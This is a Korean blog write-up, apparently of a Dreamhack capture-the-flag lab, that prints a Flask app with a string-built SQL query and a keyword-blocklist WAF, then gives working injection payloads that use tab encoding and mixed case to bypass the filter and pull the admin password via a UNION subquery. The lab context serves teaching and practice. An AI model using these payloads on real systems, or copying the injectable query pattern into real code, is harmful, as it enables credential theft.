문제에 별다른 조건이 없었다. 바로 서버를 생성해서 들어갔고 문제 파일도 다운 받았다.
서버를 들어가니 이와 같이 뜨는 것을 확인할 수 있었다.
문제파일 코드를 봤다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
uid를 check_WAF를 통해서 필터링을 한다.
keywords에 포함된 단어를 쓰면 WAF에 걸린다.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
keywords에 있는 union으로 uid를 쳐보니 WAF에 걸리는걸 알 수 있다.
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
SQL.init 파일이다. admin 비밀번호가 플래그값임을 알 수 있다.
keywords에 admin이 있었기에 WAF를 우회해야 한다.
주석은 공백문자를 대신할 수 있는데 주석을 사용할 수 없도록 /, * 문자를 검사한다.
Tab은 16 진수로 0x09이고 URL 인코딩한 값인 %09를 전달하면 공백 문자 검사를 우회할 수 있다.
admin 문자열을 우회한 쿼리를 입력했다.
%27Union%09Select%091,"Bypass%09WAF",1%23
정상적으로 쿼리문이 실행되었다.
이제 서브쿼리를 포함시켜서 플래그값을 얻어야 한다.
- UNION을 사용할 때는 반환되는 컬럼의 개수가 같아야 하며, 각 SELECT 문에서 반환되는 데이터 타입도 호환되어야 한다.
- 이 때문에 서브쿼리를 포함시킬 때, 첫 번째 SELECT 문과 일치하는 컬럼 수를 유지하는 것이 중요하다.
- UNION이 3개의 컬럼 (NULL, upw, NULL)을 반환하여 조건을 충족하게 쿼리를 짜야 한다.
%27Union%09Select%09null,(Select%09upw%09From%09user%09where%09uid='ADMIN'),null%23
음.......이걸로 쳤는데 계속 서버 에러가 떴다.
url 창에 떠 있는 uid에 집어넣으니 플래그값이 떴다.
왜 이 전은 안 되고 url 창에 넣으면 되는거지..? 아직 이유를 모르겠다.
'드림핵' 카테고리의 다른 글
드림핵_DOM XSS (0) | 2024.11.13 |
---|---|
weblog-1 (1) | 2024.10.30 |
드림핵 error based sql injection (1) | 2024.10.02 |
드림핵 blind sql injection advanced (2) | 2024.10.02 |
easy-login (0) | 2024.05.22 |